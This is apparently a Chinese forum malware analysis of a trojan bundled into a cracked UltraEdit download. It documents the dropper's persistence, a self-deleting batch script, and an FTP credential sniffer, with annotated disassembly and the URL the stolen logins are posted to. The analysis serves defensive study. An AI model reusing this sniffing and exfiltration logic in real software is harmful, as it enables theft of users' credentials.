木马时间戳:2010-08-25 10:41:03
样本来源:http://www.crsky.com/soft/7033.html
详情:http://www.52pojie.cn/thread-62464-1-1.html
Hmily牛发现的霏凡站的【UltraEdit-32文本编辑器 v16.20.0.1009 汉化版】被捆绑了木马。
先谢谢Hmily牛提供样本。
MPC.exe分析(木马主体)
0,打开一个Mutex"__i386vm_jre1.6__",该Mutex由inetwh32.dll创建,避免重复感染。
1,创建%Sysemroot%\\inetwh32.dll,提取本身30号DDX资源并写入。
2,以隐藏窗口的方式运行"rundll32.exe "C:\WINDOWS\inetwh32.dll",wWinMain",注入dll并调用wWinMain函
数
3,创建注册表启动项:HKML\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
新建注册表项"Bluetooth",值为"rundll32.exe "C:\WINDOWS\inetwh32.dll",wWinMain"
4,在临时文件夹下创建并运行deleteMe.bat,内容为:
代码:
:pp del "C:\Documents and Settings\Administrator\桌面\MPC.exe" if exist "C:\Documents and Settings\Administrator\桌面\MPC.exe" goto pp del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\deleteMe.bat"
删除病毒和批处理自身。
inetw32.dll分析
0,为rundll32.exe设置含有空ACL的SD,使得所有其他进程可以访问本进程。
1,创建Mutex "__i386vm_jre1.6__"
2,创建名为"TtsWin"的隐藏窗口,创建1号定时器并立即触发,Timer处理函数中先获取本机IP,启动一个线程,
最后清除定时器自身。
3,在创建的线程中先另创建一个线程,循环执行代码
代码:
while(1) { SleepEx(INFNITE, 1); }
然后绑定本机21端口,过滤数据包。
4,把截获到的用户名和密码post到http://passport.flashfxp.info/dll/FtpServer.dll,至于他到底是截获什么的帐号和密码我就不知道了~
5,下面是木马使用到的自定义数据结构,unkonw标记的为没使用到的数据。
接收的数据包结构:
代码:
struct _DATA_PACK{ struct _STRUCT1{ DWORD index; //低4位保存着数据包中第一个结构的大小,单位为4字节 byte unkonw5; byte unkonw6; byte unkonw7; byte unkonw8; byte unkonw9; byte VerifyByte_Is_6; //通过此位来是不是6,判断是否为要过滤的数据包 byte unkonw11; byte unkonw12; DWORD dw1; //存储指令类型相关信息,连贯的指令需要此处相同 DWORD dw2; //存储指令类型相关信息,连贯的指令需要此处相同 …… } struct _STRUCT2{ WORD w1; //存储指令类型相关信息,连贯的指令需要此处相同 WORD w2; //存储指令类型相关信息,连贯的指令需要此处相同 DWORD dw2; DWORD dw3; byte StructLength; //高4位存储的是第二个结构的长度,单位为4字节 byte sign; //该位如果为1或4,则不处理该数据包 …… } struct _INFO{ char info[变长];//需要进行拦截的信息 //用户名名格式:"USER XXXXXXX" X即为用户名,空格可以多个 //密码格式: "PASS XXXXXX" X即为密码,空格可以多个 } }
当21号端口收到指令,则从本链表最后提取一个结构,用于保存指令内容,并添加到OffSET_3160结构链表中等
待处理
代码:
struct _APP_DATA{ DWORD pre_ptr_APPDATA; //保存着上一个APP_DATA结构的指针,第一个节点的值为10003168 DWORD next_ptr_APPDATA; //保存着下一个APP_DATA结构体指针,最后一个节点的值为10003168 DWORD struct1dw2; //指令类型匹配信息 DWORD struct1dw1; //指令类型匹配信息 WORD struct2w2; //指令类型匹配信息 WORD struct2w1; //指令类型匹配信息 DWORD SystemStartedTime; //GetTickCount(); char string[127]; //保存接收到的username or passwords …… }
代码:
struct _OFFSET_3160{ DWORD dw1; //上一个指令结构,初始化时指向自身 DWORD dw2; //下一个指令结构初始化时指向自身 }
代码:
struct _OFFSET_3168{ DWORD ptr_LAST_APP_DATA; //保存着APP_DATA链表最后一个节点 DWORD ptr_APP_DATA; //保存着APP_DATA链表的第一个节点 }
代码:
struct buffer_524{ DWORD struct1dw2; //指令类型匹配信息 WORD struct2w2; //指令类型匹配信息 WORD UserNameLength; //用户名长度 char content[127]; //格式为"username password" }
MainThread //数据包的主处理过程
代码:
.text:100013C0 ; int __cdecl MainThread(HANDLE hThread_Sleep, int buffer, int buflen) .text:100013C0 MainThread proc near ; CODE XREF: MainProc+115p .text:100013C0 .text:100013C0 Pass_Content = byte ptr -80h .text:100013C0 hThread_Sleep = dword ptr 8 .text:100013C0 buffer = dword ptr 0Ch .text:100013C0 buflen = dword ptr 10h .text:100013C0 .text:100013C0 push ebp ; 此函数处理21号端口接收到的信息 .text:100013C1 mov ebp, esp .text:100013C3 sub esp, 80h .text:100013C9 push ebx .text:100013CA push esi .text:100013CB mov esi, [ebp+buffer] .text:100013CE xor eax, eax ; eax=0 .text:100013D0 mov al, [esi] ; al=接受的信息的第一个byte .text:100013D2 mov ecx, eax ; ecx=接受的信息的第一个byte .text:100013D4 and ecx, 1111b ; ecx=buffer第一个byte的低4位 .text:100013D7 cmp byte ptr [esi+9], 6 ; 判断接收信息的第十个byte是否为6 .text:100013DB lea ebx, [esi+ecx*4] ; ebx = STRUCT2 .text:100013DE jnz loc_10001561 .text:100013E4 and al, 11110000b .text:100013E6 cmp al, 1000000b .text:100013E8 jnz loc_10001561 .text:100013EE movzx eax, byte ptr [ebx+0Ch] ; eax = buffer中的(buffer第一个byte的低4位 * 4 + 0x0C)位 .text:100013F2 shr eax, 4 ; eax = eax / 16 .text:100013F5 add eax, ecx ; eax = eax + 接收信息中第一个byte的低4位 .text:100013F7 push edi .text:100013F8 mov edi, [ebp+buflen] ; edi = 接收信息长度 .text:100013FB shl eax, 2 ; eax = eax * 4 eax = 数据包头大小 .text:100013FE sub edi, eax ; edi = edi - eax .text:10001400 cmp edi, 5 ; edi = 数据包 - 数据包头后剩余的信息长度 .text:10001403 lea ecx, [eax+esi] .text:10001406 mov [ebp+buffer], ecx ; 在第一个DWORD中保存实体数据的指针 .text:10001409 jbe INFO_less_equal_5 .text:1000140F cmp edi, 1500 ; 如果实体数据长度不小于1500 .text:10001415 jnb INFO_less_equal_5 .text:1000141B push 5 ; 如果 5<实体数据长度<1500 则来到这里 .text:1000141D push offset aUser ; "USER " .text:10001422 push ecx ; buffer + eax .text:10001423 call VerifyInfo .text:10001428 add esp, 0Ch .text:1000142B test eax, eax .text:1000142D push 5 .text:1000142F jz short loc_10001492 .text:10001431 pop ecx ; ecx = 5 .text:10001432 cmp edi, ecx .text:10001434 jbe short loc_10001444 .text:10001436 .text:10001436 loc_10001436: ; CODE XREF: MainThread+82j .text:10001436 mov eax, [ebp+buffer] .text:10001439 cmp byte ptr [ecx+eax], ' ' .text:1000143D jnz short loc_10001444 .text:1000143F inc ecx .text:10001440 cmp ecx, edi .text:10001442 jb short loc_10001436 .text:10001444 .text:10001444 loc_10001444: ; CODE XREF: MainThread+74j .text:10001444 ; MainThread+7Dj .text:10001444 xor edx, edx .text:10001446 jmp short loc_10001465 .text:10001448 ; --------------------------------------------------------------------------- .text:10001448 .text:10001448 loc_10001448: ; CODE XREF: MainThread+A7j .text:10001448 cmp edx, 127 .text:1000144B jge short loc_10001469 .text:1000144D mov eax, [ebp+buffer] .text:10001450 mov al, [ecx+eax] .text:10001453 cmp al, 13 ; 不是回车 .text:10001455 jz short loc_10001469 .text:10001457 cmp al, 10 ; 不是换行 .text:10001459 jz short loc_10001469 .text:1000145B test al, al ; 空格则直接跳转 .text:1000145D jz short loc_10001469 .text:1000145F mov [ebp+edx+Pass_Content], al ; 填充内容 .text:10001463 inc ecx .text:10001464 inc edx .text:10001465 .text:10001465 loc_10001465: ; CODE XREF: MainThread+86j .text:10001465 cmp ecx, edi .text:10001467 jb short loc_10001448 .text:10001469 .text:10001469 loc_10001469: ; CODE XREF: MainThread+8Bj .text:10001469 ; MainThread+95j ... .text:10001469 lea eax, [ebp+Pass_Content] .text:1000146C push eax ; lpString2 .text:1000146D xor eax, eax .text:1000146F mov ax, [ebx] ; ax=STRUCT2.w1 .text:10001472 mov [ebp+edx+Pass_Content], 0 ; 字符串后补0 .text:10001477 push eax ; STRUCT2.w1 .text:10001478 xor eax, eax .text:1000147A mov ax, [ebx+2] ; ax=STRUCT2.w2 .text:1000147E push eax ; STRUCT2.w2 .text:1000147F push dword ptr [esi+0Ch] ; STRUCT1.dw1 .text:10001482 push dword ptr [esi+10h] ; STRUCT1.dw2 .text:10001485 call SaveToStruct ; 保存数据到全局链表_APP_DATA的最后一个节点中 .text:10001485 ; 并从链表中剔除此节点,然后用OFFSET_3160结构记录此节点 .text:1000148A add esp, 14h .text:1000148D jmp loc_10001560 .text:10001492 ; --------------------------------------------------------------------------- .text:10001492 .text:10001492 loc_10001492: ; CODE XREF: MainThread+6Fj .text:10001492 push offset aPass ; "PASS " .text:10001497 push [ebp+buffer] .text:1000149A call VerifyInfo .text:1000149F add esp, 0Ch .text:100014A2 test eax, eax .text:100014A4 jz loc_10001560 .text:100014AA push 5 .text:100014AC pop ecx .text:100014AD cmp edi, ecx .text:100014AF jbe short loc_100014BF .text:100014B1 .text:100014B1 loc_100014B1: ; CODE XREF: MainThread+FDj .text:100014B1 mov eax, [ebp+buffer] .text:100014B4 cmp byte ptr [ecx+eax], ' ' .text:100014B8 jnz short loc_100014BF .text:100014BA inc ecx .text:100014BB cmp ecx, edi .text:100014BD jb short loc_100014B1 .text:100014BF .text:100014BF loc_100014BF: ; CODE XREF: MainThread+EFj .text:100014BF ; MainThread+F8j .text:100014BF xor edx, edx .text:100014C1 jmp short loc_100014E0 .text:100014C3 ; --------------------------------------------------------------------------- .text:100014C3 .text:100014C3 loc_100014C3: ; CODE XREF: MainThread+122j .text:100014C3 cmp edx, 127 ; 限制长度为127 .text:100014C6 jge short loc_100014E4 .text:100014C8 mov eax, [ebp+buffer] .text:100014CB mov al, [ecx+eax] ; 取密码 .text:100014CE cmp al, 13 ; 不是回车 .text:100014D0 jz short loc_100014E4 .text:100014D2 cmp al, 10 ; 不是换行 .text:100014D4 jz short loc_100014E4 .text:100014D6 test al, al ; 空格,则直接跳转 .text:100014D8 jz short loc_100014E4 .text:100014DA mov [ebp+edx+Pass_Content], al ; 填充内容 .text:100014DE inc ecx .text:100014DF inc edx .text:100014E0 .text:100014E0 loc_100014E0: ; CODE XREF: MainThread+101j .text:100014E0 cmp ecx, edi .text:100014E2 jb short loc_100014C3 .text:100014E4 .text:100014E4 loc_100014E4: ; CODE XREF: MainThread+106j .text:100014E4 ; MainThread+110j ... .text:100014E4 xor eax, eax .text:100014E6 mov ax, [ebx] ; eax=STRUCT2.w1 .text:100014E9 mov [ebp+edx+Pass_Content], 0 ; 末尾补0 .text:100014EE push eax .text:100014EF xor eax, eax .text:100014F1 mov ax, [ebx+2] ; eax=STRUCT2.w2 .text:100014F5 push eax .text:100014F6 push dword ptr [esi+0Ch] ; STRUCT1.dw1 .text:100014F9 push dword ptr [esi+10h] ; STRUCT1.dw2 .text:100014FC call VerifyData ; 如果输入的是密码,则进行指令匹配 .text:10001501 mov edi, eax ; 返回对应的节点指针 .text:10001503 add esp, 10h .text:10001506 test edi, edi .text:10001508 jz short loc_10001560 .text:1000150A lea eax, [ebp+Pass_Content] .text:1000150D push eax ; 输入的PASS 内容 .text:1000150E lea eax, [edi+18h] .text:10001511 push eax ; 输入的USER内容 .text:10001512 xor eax, eax .text:10001514 mov ax, [ebx+2] .text:10001518 push eax ; STRUCT2.w2 .text:10001519 push dword ptr [esi+10h] ; STRUCT1.dw2 .text:1000151C push [ebp+hThread_Sleep] ; hThread_Sleep .text:1000151F call PostUserPass .text:10001524 push edi .text:10001525 call MoveNodeToLast ; 移动节点到链表最后 .text:1000152A add esp, 18h .text:1000152D jmp short loc_10001560 .text:1000152F ; --------------------------------------------------------------------------- .text:1000152F .text:1000152F INFO_less_equal_5: ; CODE XREF: MainThread+49j .text:1000152F ; MainThread+55j .text:1000152F mov al, [ebx+13] .text:10001532 test al, 4 ; 该位不能是4 .text:10001534 jz short loc_10001560 .text:10001536 test al, 1 ; 该位不能是1 .text:10001538 jz short loc_10001560 .text:1000153A xor eax, eax .text:1000153C mov ax, [ebx] .text:1000153F push eax .text:10001540 xor eax, eax .text:10001542 mov ax, [ebx+2] .text:10001546 push eax .text:10001547 push dword ptr [esi+0Ch] .text:1000154A push dword ptr [esi+10h] .text:1000154D call VerifyData ; 验证指令 .text:10001552 add esp, 10h .text:10001555 test eax, eax .text:10001557 jz short loc_10001560 .text:10001559 push eax .text:1000155A call MoveNodeToLast .text:1000155F pop ecx .text:10001560 .text:10001560 loc_10001560: ; CODE XREF: MainThread+CDj .text:10001560 ; MainThread+E4j ... .text:10001560 pop edi .text:10001561 .text:10001561 loc_10001561: ; CODE XREF: MainThread+1Ej .text:10001561 ; MainThread+28j .text:10001561 pop esi .text:10001562 pop ebx .text:10001563 leave .text:10001564 retn .text:10001564 MainThread endp
代码:
.text:10001351 ; int __cdecl PostUserPass(HANDLE hThread_Sleep, int STRUCT1.dw2, __int16 STRUCT2.w2, LPCSTR User_Content, int Pass_Content) .text:10001351 PostUserPass proc near ; CODE XREF: MainThread+15Fp .text:10001351 .text:10001351 hThread_Sleep = dword ptr 8 .text:10001351 STRUCT1.dw2 = dword ptr 0Ch .text:10001351 STRUCT2.w2 = word ptr 10h .text:10001351 User_Content = dword ptr 14h .text:10001351 Pass_Content = dword ptr 18h .text:10001351 .text:10001351 buffer_524 = esi .text:10001351 push ebp .text:10001352 mov ebp, esp .text:10001354 push buffer_524 .text:10001355 push 524 ; Size .text:1000135A call malloc .text:1000135F mov buffer_524, eax .text:10001361 test buffer_524, buffer_524 .text:10001363 pop ecx .text:10001364 jz short loc_100013BD .text:10001366 mov eax, [ebp+STRUCT1.dw2] .text:10001369 push ebx .text:1000136A push edi .text:1000136B mov edi, ds:lstrcpynA .text:10001371 push 127 ; iMaxLength .text:10001373 push [ebp+User_Content] ; lpString2 .text:10001376 mov [buffer_524], eax .text:10001378 mov ax, [ebp+STRUCT2.w2] .text:1000137C lea ebx, [buffer_524+8] .text:1000137F push ebx ; lpString1 .text:10001380 mov [buffer_524+4], ax .text:10001384 call edi ; lstrcpynA .text:10001386 push ebx ; lpString .text:10001387 call ds:lstrlenA ; 取得用户名长度 .text:1000138D inc eax ; 长度+1 .text:1000138E mov [buffer_524+6], ax .text:10001392 push 127 ; iMaxLength .text:10001394 push [ebp+Pass_Content] ; lpString2 .text:10001397 movzx eax, ax .text:1000139A lea eax, [eax+buffer_524+8] .text:1000139E push eax ; lpString1 .text:1000139F call edi ; lstrcpynA .text:100013A1 push buffer_524 ; dwData .text:100013A2 push [ebp+hThread_Sleep] ; hThread .text:100013A5 push offset pfnAPC ; pfnAPC .text:100013AA call ds:QueueUserAPC ; 使用单独的线程来执行pfnAPC函数 .text:100013B0 test eax, eax .text:100013B2 pop edi .text:100013B3 pop ebx .text:100013B4 jnz short loc_100013BD .text:100013B6 push buffer_524 ; Memory .text:100013B7 call free .text:100013BC pop ecx .text:100013BD .text:100013BD loc_100013BD: ; CODE XREF: PostUserPass+13j .text:100013BD ; PostUserPass+63j .text:100013BD pop buffer_524 .text:100013BE pop ebp .text:100013BF retn .text:100013BF PostUserPass endp
代码:
.text:10001094 ; int __cdecl SaveToStruct(int STRUCT1.dw2, int STRUCT1.dw1, __int16 STRUCT2.w2, __int16 STRUCT2.w1, LPCSTR lpString2) .text:10001094 SaveToStruct proc near ; CODE XREF: MainThread+C5p .text:10001094 .text:10001094 systemStartedTime= dword ptr -4 .text:10001094 STRUCT1.dw2 = dword ptr 8 .text:10001094 STRUCT1.dw1 = dword ptr 0Ch .text:10001094 STRUCT2.w2 = word ptr 10h .text:10001094 STRUCT2.w1 = word ptr 14h .text:10001094 lpString2 = dword ptr 18h .text:10001094 .text:10001094 push ebp .text:10001095 mov ebp, esp .text:10001097 push ecx .text:10001098 push esi .text:10001099 push edi .text:1000109A push offset CriticalSection ; lpCriticalSection .text:1000109F call ds:EnterCriticalSection .text:100010A5 mov esi, dword_10003168 .text:100010AB cmp esi, offset dword_10003168 .text:100010B1 jz short loc_1000110B ; 如果结构3160为空,则跳转 .text:100010B3 mov eax, [esi] ; eax = 上一个APP_DATA结构指针 .text:100010B5 lea edi, [esi+4] .text:100010B8 mov ecx, [edi] ; ecx = 下一个APP_DATA结构指针 .text:100010BA mov [ecx], eax ; OFFSET_3168.ptr_LAST_APP_DATA = 上一个节点 .text:100010BC mov [eax+4], ecx ; 上一个节点的next_APP_DATA被设置为OFFSET_3168 .text:100010BC ; 此出操作为从链表后删除一个节点 .text:100010BF mov eax, [ebp+STRUCT1.dw2] .text:100010C2 mov [esi+8], eax .text:100010C5 mov ax, [ebp+STRUCT2.w2] .text:100010C9 mov [esi+10h], ax .text:100010CD mov eax, [ebp+STRUCT1.dw1] .text:100010D0 mov [esi+0Ch], eax .text:100010D3 mov ax, [ebp+STRUCT2.w1] .text:100010D7 mov [esi+12h], ax .text:100010DB call ds:GetTickCount .text:100010E1 push 127 ; iMaxLength .text:100010E3 push [ebp+lpString2] ; lpString2 .text:100010E6 mov [esi+14h], eax .text:100010E9 lea eax, [esi+18h] .text:100010EC push eax ; lpString1 .text:100010ED call ds:lstrcpynA .text:100010F3 mov eax, dword_10003160 .text:100010F8 mov [esi], eax ; APP_DATA.pre_ptr_APPDATA = OFFSET_3160 .text:100010FA mov dword ptr [edi], offset dword_10003160 ; APP_DATA.next_ptr_APPDATA = offset 10003160 .text:10001100 mov [eax+4], esi ; OFFSET_3160.dw2 = 最后一个节点ptr_LAST_APP_DATA .text:10001103 mov dword_10003160, esi ; 3160.dw1 = 3168.ptr_LAST_APP_DATA .text:10001109 jmp short loc_10001168 .text:1000110B ; --------------------------------------------------------------------------- .text:1000110B .text:1000110B loc_1000110B: ; CODE XREF: SaveToStruct+1Dj .text:1000110B mov edi, ds:GetTickCount .text:10001111 push ebx .text:10001112 call edi ; GetTickCount .text:10001114 mov esi, dword_10003160 ; esi = 3160.dw1 .text:1000111A mov [ebp+systemStartedTime], eax .text:1000111D mov ebx, offset dword_10003160 .text:10001122 jmp short loc_10001163 .text:10001124 ; --------------------------------------------------------------------------- .text:10001124 .text:10001124 loc_10001124: ; CODE XREF: SaveToStruct+D1j .text:10001124 mov eax, [ebp+systemStartedTime] ; 在OFFSET_3160链表中查找过期指令,并覆盖 .text:10001127 sub eax, [esi+14h] ; 计算两条指令的时间间隔 .text:1000112A cmp eax, 90000 .text:1000112F jbe short loc_10001161 ; 如果<= 90秒 .text:10001131 mov eax, [ebp+STRUCT1.dw2] .text:10001134 mov [esi+8], eax .text:10001137 mov ax, [ebp+STRUCT2.w2] .text:1000113B mov [esi+10h], ax .text:1000113F mov eax, [ebp+STRUCT1.dw1] .text:10001142 mov [esi+0Ch], eax .text:10001145 mov ax, [ebp+STRUCT2.w1] .text:10001149 mov [esi+12h], ax .text:1000114D call edi ; GetTickCount .text:1000114F push 127 ; iMaxLength .text:10001151 push [ebp+lpString2] ; lpString2 .text:10001154 mov [esi+14h], eax .text:10001157 lea eax, [esi+18h] .text:1000115A push eax ; lpString1 .text:1000115B call ds:lstrcpynA .text:10001161 .text:10001161 loc_10001161: ; CODE XREF: SaveToStruct+9Bj .text:10001161 mov esi, [esi] .text:10001163 .text:10001163 loc_10001163: ; CODE XREF: SaveToStruct+8Ej .text:10001163 cmp esi, ebx .text:10001165 jnz short loc_10001124 .text:10001167 pop ebx .text:10001168 .text:10001168 loc_10001168: ; CODE XREF: SaveToStruct+75j .text:10001168 push offset CriticalSection ; lpCriticalSection .text:1000116D call ds:LeaveCriticalSection .text:10001173 pop edi .text:10001174 pop esi .text:10001175 leave .text:10001176 retn .text:10001176 SaveToStruct endp
代码:
.text:10001684 GetCurIPAddr proc near ; CODE XREF: WndProc+28p .text:10001684 .text:10001684 pdwBestIfIndex = dword ptr -0Ch .text:10001684 SizePointer = dword ptr -8 .text:10001684 curIP = dword ptr -4 .text:10001684 .text:10001684 push ebp .text:10001685 mov ebp, esp .text:10001687 sub esp, 0Ch .text:1000168A and [ebp+curIP], 0 .text:1000168E push ebx .text:1000168F mov ebx, ds:inet_addr .text:10001695 lea eax, [ebp+pdwBestIfIndex] .text:10001698 push eax ; pdwBestIfIndex .text:10001699 push offset cp ; "8.8.8.8" .text:1000169E call ebx ; inet_addr .text:100016A0 push eax ; dwDestAddr .text:100016A1 call GetBestInterface .text:100016A6 test eax, eax .text:100016A8 jnz short loc_100016F9 .text:100016AA push esi .text:100016AB push edi .text:100016AC mov edi, 10000h .text:100016B1 push edi ; Size .text:100016B2 call malloc .text:100016B7 mov esi, eax .text:100016B9 test esi, esi .text:100016BB pop ecx .text:100016BC jz short loc_100016F7 .text:100016BE lea eax, [ebp+SizePointer] .text:100016C1 push eax ; SizePointer .text:100016C2 mov [ebp+SizePointer], edi .text:100016C5 push esi ; AdapterInfo .text:100016C6 mov edi, esi .text:100016C8 call GetAdaptersInfo ; 获取当前网卡信息 .text:100016CD test eax, eax .text:100016CF jnz short loc_100016F0 .text:100016D1 .text:100016D1 loc_100016D1: ; CODE XREF: GetCurIPAddr+5Cj .text:100016D1 mov eax, [esi+19Ch] .text:100016D7 cmp eax, [ebp+pdwBestIfIndex] .text:100016DA jz short loc_100016E4 .text:100016DC mov esi, [esi] .text:100016DE test esi, esi .text:100016E0 jnz short loc_100016D1 .text:100016E2 jmp short loc_100016F0 .text:100016E4 ; --------------------------------------------------------------------------- .text:100016E4 .text:100016E4 loc_100016E4: ; CODE XREF: GetCurIPAddr+56j .text:100016E4 add esi, IP_ADAPTER_INFO.IpAddressList.IpAddress .text:100016EA push esi ; cp .text:100016EB call ebx ; inet_addr .text:100016ED mov [ebp+curIP], eax .text:100016F0 .text:100016F0 loc_100016F0: ; CODE XREF: GetCurIPAddr+4Bj .text:100016F0 ; GetCurIPAddr+5Ej .text:100016F0 push edi ; Memory .text:100016F1 call free .text:100016F6 pop ecx .text:100016F7 .text:100016F7 loc_100016F7: ; CODE XREF: GetCurIPAddr+38j .text:100016F7 pop edi .text:100016F8 pop esi .text:100016F9 .text:100016F9 loc_100016F9: ; CODE XREF: GetCurIPAddr+24j .text:100016F9 mov eax, [ebp+curIP] .text:100016FC pop ebx .text:100016FD leave .text:100016FE retn .text:100016FE GetCurIPAddr endp
代码:
.text:10001177 MoveNodeToLast proc near ; CODE XREF: MainThread+165p .text:10001177 ; MainThread+19Ap .text:10001177 .text:10001177 _APP_DATA = dword ptr 4 .text:10001177 .text:10001177 push esi ; 此函数把当前节点移到链表的最后 .text:10001178 mov esi, offset CriticalSection .text:1000117D push esi ; lpCriticalSection .text:1000117E call ds:EnterCriticalSection .text:10001184 mov eax, [esp+4+_APP_DATA] .text:10001188 mov ecx, [eax] ; ecx=pre_ptr_APPDATA .text:1000118A mov edx, [eax+4] ; edx=next_ptr_APPDATA .text:1000118D mov [edx], ecx ; 下一个节点的上一个节点修改为本节点的上一个节点 .text:1000118F mov [ecx+4], edx ; 上一个节点的下一个节点修改为本节点的下一个节点 .text:10001192 mov ecx, dword_10003168 ; ecx = 最后一个节点 .text:10001198 mov [eax], ecx ; 本节点的上一个节点修改为最后一个节点 .text:1000119A mov dword ptr [eax+4], offset dword_10003168 ; 本节点的下一个节点修改为offset 10003168 .text:100011A1 mov [ecx+4], eax ; 最后一个节点的下一个节点修改为本节点 .text:100011A4 push esi ; lpCriticalSection .text:100011A5 mov dword_10003168, eax ; offset 10003168的ptr_LAST_APP_DATA修改为本节点 .text:100011AA call ds:LeaveCriticalSection .text:100011B0 pop esi .text:100011B1 retn .text:100011B1 MoveNodeToLast endp
感谢所有看到这里的朋友,如有错误或不足希望能指出。